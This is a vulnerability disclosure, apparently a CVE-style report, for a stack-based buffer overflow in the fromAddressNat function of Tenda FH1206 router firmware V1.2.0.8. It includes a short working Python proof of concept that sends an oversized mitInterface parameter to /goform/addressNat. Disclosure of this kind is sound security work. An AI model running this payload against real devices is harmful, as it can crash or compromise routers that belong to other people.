Tenda FH1206 V1.2.0.8(8155)_EN
V1.2.0.8(8155)_EN
The Tenda FH1206 V1.2.0.8(8155)_EN has a stack overflow vulnerability located in the fromAddressNat
function.The v2
variable receives the mitInterface
parameter from a POST request and is later assigned to the v6
variable. However, since the user has control over the input of mitInterface
, the statement sprintf(v6, "%s;%s", Var, v2);
leads to a buffer overflow. There is no size check, so the user-provided mitInterface
can exceed the allocated size of the v6
array (516 bytes), thus triggering this security vulnerability. The attacker can easily perform a Deny of Service Attack or Remote Code Execution with carefully crafted overflow data.
# fromAddressNat_mitInterface
import requests
IP = '192.168.0.100:80'
url = f"http://{IP}/goform/addressNat"
data = {"mitInterface": "a"*999}
ret = requests.post(url, data)
###Product_version
Tenda FH1206
V1.2.0.8(8155)_EN
###Affected_component
the "fromAddressNat" function of /bin/httpd; /bin/httpd
###Attack_vector
use a simple exp to attack, like this:
#python3
import requests
IP = '192.168.0.100:80'
url = f"http://{IP}/goform/addressNat"
data = {"mitInterface": "a"*999}
ret = requests.post(url,data=data)
###Discription
Tenda FH1206 V1.2.0.8(8155)_EN was discovered to contain a stack-based buffer overflow vulnerability via the mitInterface parameter at ip/goform/addressNat.
###Refernce
<https://palm-vertebra-fe9.notion.site/fromAddressNat_mitInterface-20fb36254513485082243e393b11fd1c>
<https://www.tendacn.com/hk/download/detail-2344.html>